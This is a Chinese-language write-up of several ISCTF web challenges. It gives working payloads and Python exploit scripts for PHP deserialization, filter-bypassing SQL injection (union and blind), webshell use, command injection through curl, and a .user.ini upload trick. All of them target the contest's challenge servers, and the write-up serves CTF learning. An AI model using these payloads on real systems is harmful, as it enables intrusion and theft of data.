/先来一个总结:自己还是太菜了没有全做出来/
圣杯战争!!!
简单的反序列化,__wakeup->__toString->__get->__invoke
POC:
<?php
class artifact{
public $excalibuer;
public $arrow;
}
class prepare{
public $release;
}
class saber{
public $weapon='php://filter/read=convert.base64-encode/resource=flag.php';
}
class summon{
public $Saber;
public $Rider;
}
$a=new summon();
$a->Saber=new artifact();
$a->Saber->excalibuer=new prepare();
$a->Saber->excalibuer->release=new saber();
echo serialize($a);
O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}
解码即得flag
exp:
import requests
import re
import base64
payload = '?payload=O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}'
url = "http://43.249.195.138:21641/" + payload
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
}
res = requests.post(url=url, headers=headers, allow_redirects=False)
match_group1 = re.findall("胜利!<br>(.*?)$", res.text)
a = str(base64.b64decode(match_group1[0]), "utf-8")
match_group = re.findall("ISCTF{(.*?)}", a)
flag = match_group[0]
print(f'ISCTF{{{flag}}}')
where_is_the_flag
开局一句话木马,直接蚁剑连
在flag.php
和/flag2
中分别找到第一二部分的flag
最后用
1=system("env");
在环境变量找到最后一段flag,拼接就行了
绕进你的心里
简单的绕过,md5
用数组
?hongmeng[]=1&shennong[]=2
intval()
也用数组
zhurong[]=a
preg_match()
利用PCRE回溯次数限制绕过
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
exp:
import requests
import re
from io import BytesIO
url = "http://43.249.195.138:20622/?hongmeng[]=1&shennong[]=2&zhurong[]=a"
payload = BytesIO(b'pan_gu=' + b'a' * 1000000 + b'aaaaaaaa2023ISCTF')
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
"Content-Type": "application/x-www-form-urlencoded"
}
res = requests.post(url=url, data=payload, headers=headers, allow_redirects=False)
match_group = re.findall("ISCTF{(.*?)}", res.text)
flag = match_group[0]
print(f'ISCTF{{{flag}}}')
easy_website
/这个题我的一血hhh/
简单的SQL注入,注入点在username
,'
字符型,黑名单检测方式为删除被检测字符串,用双写绕过
翻源码可以找到查询代码在/check.php
判断列数和回显位,好像也就一个
username=0'/**/ununionion/**/selselectect/**/1#&password=admin
查数据库
username=0'/**/ununionion/**/selselectect/**/database()#&password=admin
数据库是users
,查表名
username=0'/**/ununionion/**/selselectect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()#&password=admin
表名users
,查列名
username=0'/**/ununionion/**/selselectect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='users'#&password=admin
flag
大概率在password
里面,查一查
username=0'/**/ununionion/**/selselectect/**/group_concat(passwoorrd)/**/from/**/users#&password=admin
拿到flag
exp:
import requests
import re
url = "http://43.249.195.138:20622/check.php"
payload = "username=0'/**/ununionion/**/selselectect/**/group_concat(passwoorrd)/**/from/**/users#&password=admin"
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
"Content-Type": "application/x-www-form-urlencoded"
}
res = requests.post(url=url, data=payload, headers=headers, allow_redirects=False)
match_group = re.findall("ISCTF{(.*?)}", res.text)
flag = match_group[0]
print(f'ISCTF{{{flag}}}')
wafr
看了看过滤,大概就是无字母数字RCE了
过滤了.
,那就用sh
需要上传文件并用assert($_POST['code'])
执行
code=system('sh /???/????????[@-[]')
#!/bin/bash
cat /flaggggggg.txt
上传表单
<form action="http://43.249.195.138:21201/" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="text" name="code" id="code"><br><br>
<input type="submit">
</form>
请求包
POST / HTTP/1.1
Host: 43.249.195.138:21201
Content-Length: 338
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBBuNmWZAT7uE5fO2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
------WebKitFormBoundaryBBuNmWZAT7uE5fO2
Content-Disposition: form-data; name="file"; filename="shell.txt"
Content-Type: text/plain
#/bin/bash
cat /flaggggggg.txt
------WebKitFormBoundaryBBuNmWZAT7uE5fO2
Content-Disposition: form-data; name="code"
system('sh /???/????????[@-[]')
------WebKitFormBoundaryBBuNmWZAT7uE5fO2--
多次发包即可得flag
exp:
import requests
import re
url = "http://43.249.195.138:21201/"
files = {
'file': "#!/bin/bash\ncat /flaggggggg.txt"
}
data = {
'code': "system('sh /???/????????[@-[]')"
}
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
}
flag = ''
while True:
res = requests.post(url=url, data=data, files=files, headers=headers, allow_redirects=False)
match_group = re.findall("ISCTF{(.*?)}", res.text)
if match_group:
flag = match_group[0]
if flag != '':
break
print(f'ISCTF{{{flag}}}')
ez_ini
看题就知道,与.user.ini
有关
.user.ini
是nginx
的用户配置文件,在文件上传题目中一般用来与图片马配合使用getshell
但是这个题检测很严,貌似上不上去图片马
看看.user.ini
GIF89a
auto_prepend_file=1.png
auto_prepend_file
使在php
文件开始时以类似于require
自动包含一个文件,等号后面接绝对路径或者相对路径
这里包含图片马显然已经走不通了,那就大胆点,包含一下/flag
或者/flag.txt
测试/flag
里面是flag
注意上传之后得等等,因为不是实时刷新,访问/upload.php
exp:
import requests
import re
url = "http://43.249.195.138:21232/upload.php"
files = {
'file': ('.user.ini', 'GIF89a\nauto_prepend_file=/flag')
}
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
}
res = requests.post(url=url, files=files, headers=headers, allow_redirects=False)
flag = ''
while True:
res = requests.post(url=url, headers=headers, allow_redirects=False)
match_group = re.findall("ISCTF{(.*?)}", res.text)
if match_group:
flag = match_group[0]
if flag != '':
break
print(f'ISCTF{{{flag}}}')
1z_Ssql
让我绞尽脑汁属于是,首先找到了注入点,判断是盲注,跑出了数据库但是怎么都拿不到表名,搜了很多绕过关键词检测waf
的绕过方式都没用,版本也拿到了,以为是无列名注入,但是表名也拿不到,最后才看见一篇文章写了无select
注入,可以成功获得账号密码,登录即可得flag
参考:http://wutongyu.info/mysql-inject/
没有错误显示,错误和登录失败统统返回用户名或密码错误!
试试万能密码0' or 1=1#
有东西被过滤,试了下是=
,那就用<>
,0' or 1>0#
有不同回显,可以盲注。
ps:不要相信这个hint
,这是个假的,base64
解出是大佬,你这么聪明应该不需要hint吧?
出题人还在源码放了个sm4
的解密代码,搞得我以为还要解密啥的,无语了
当1>1
时,回显用户名或密码错误!
,当1>0
时,回显hint
构造一个盲注语句,查一下数据库先看看能不能用
0' or length(database())>0#
回显hint
说明成功,放进爆破模块,加上payload
位置,因为是长度,设置0-20
就行
开始爆破
长度变化代表回显变化
找到第一个不为真(也就是第一个使回显变为用户名或密码错误!
)的payload
,是6
也就是说数据库名长度是6
写个脚本爆一下数据库名,用ascii
配合盲注
0' or (ascii(substr(database(),1,1)))>1#
数据库bthcls
到这里想用information_schame
或者sys
或者mysql.innode
这些表查表名查不了,都被过滤了
在这里卡了很久,无聊又拿了数据库版本和用户信息,但也没啥用
然后在我的苦苦寻找下找到了这篇文章,有一个无select
查同表的列,拿来用用
珂技系列之一篇就够了——mysql注入
先看看长度,试试能不能用
0' or length(username)>1#
能用,再爆下数据
0' or (ascii(mid(username,1,1)))>1#
再爆密码
0' or length(password)>1#
0' or (ascii(mid(password,1,1)))>1#
username:admin
password:we1come7o1sctf
登录,拿到flag
exp:
import requests
url = "http://43.249.195.138:22437/#"
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
"Content-Type": "application/x-www-form-urlencoded"
}
string = "hint"
string2 = "用户名或密码错误!"
data = ''
length = 0
# 查长度
for i in range(1, 200):
# payload = f"username=0' or length(database())>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # 数据库长度
# payload = f"username=0' or length((select version()))>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # SQL版本信息长度
# payload = f"username=0' or length((select user()))>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # 用户信息长度
# payload = f"username=0' or length(username)>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # 用户名长度
payload = f"username=0' or length(password)>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # 密码长度
res = requests.post(url=url, data=payload, headers=headers, allow_redirects=False)
if string in res.text:
continue
print(f"长度:{i}")
length = i
break
# 查数据
for n in range(1, length + 1):
for i in range(33, 127):
# payload = f"username=0' or (ascii(substr(database(),{n},1)))>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # 数据库
# payload = f"username=0' or (ascii(mid((select version()),{n},1)))>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # SQL版本信息
# payload = f"username=0' or (ascii(mid((select user()),{n},1)))>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # 用户信息
# payload = f"username=0' or (ascii(mid(username,{n},1)))>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # 用户名
payload = f"username=0' or (ascii(mid(password,{n},1)))>{i}#&password=&submit=%E7%99%BB%E5%BD%95" # 密码
res = requests.post(url=url, data=payload, headers=headers, allow_redirects=False)
if string in res.text:
continue
if string2 in res.text:
char = chr(i)
data = data + char
print(f"爆破中:{data}")
break
if 'illegal words!' in res.text:
print('no')
break
else:
break
print(f"数据:{data}")
fuzz!
<?php
/*
Read /flaggggggg.txt
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
$file = 'file:///etc/passwd';
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){
die('你需要fuzz一下哦~');
}
if(!preg_match("/fi|le|flag/i", $_GET['file'])){
$file = $_GET['file'];
}
system('curl '.$file);
已经提示了,fuzz
一下,就用bp自带的就行
跑出来{base}|id
是可用的
把id
改成查看/flaggggggg.txt
的命令就行了,过滤了flag
用正则绕过
{base}|cat /fla[g]gggggg.txt
exp:
import requests
import re
url = "http://43.249.195.138:20451/?file="
payload = "{base}|cat /fla[g]gggggg.txt"
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36',
}
res = requests.post(url=url+payload, headers=headers, allow_redirects=False)
match_group = re.findall("ISCTF{(.*?)}", res.text)
flag = match_group[0]
print(f'ISCTF{{{flag}}}')
Comments NOTHING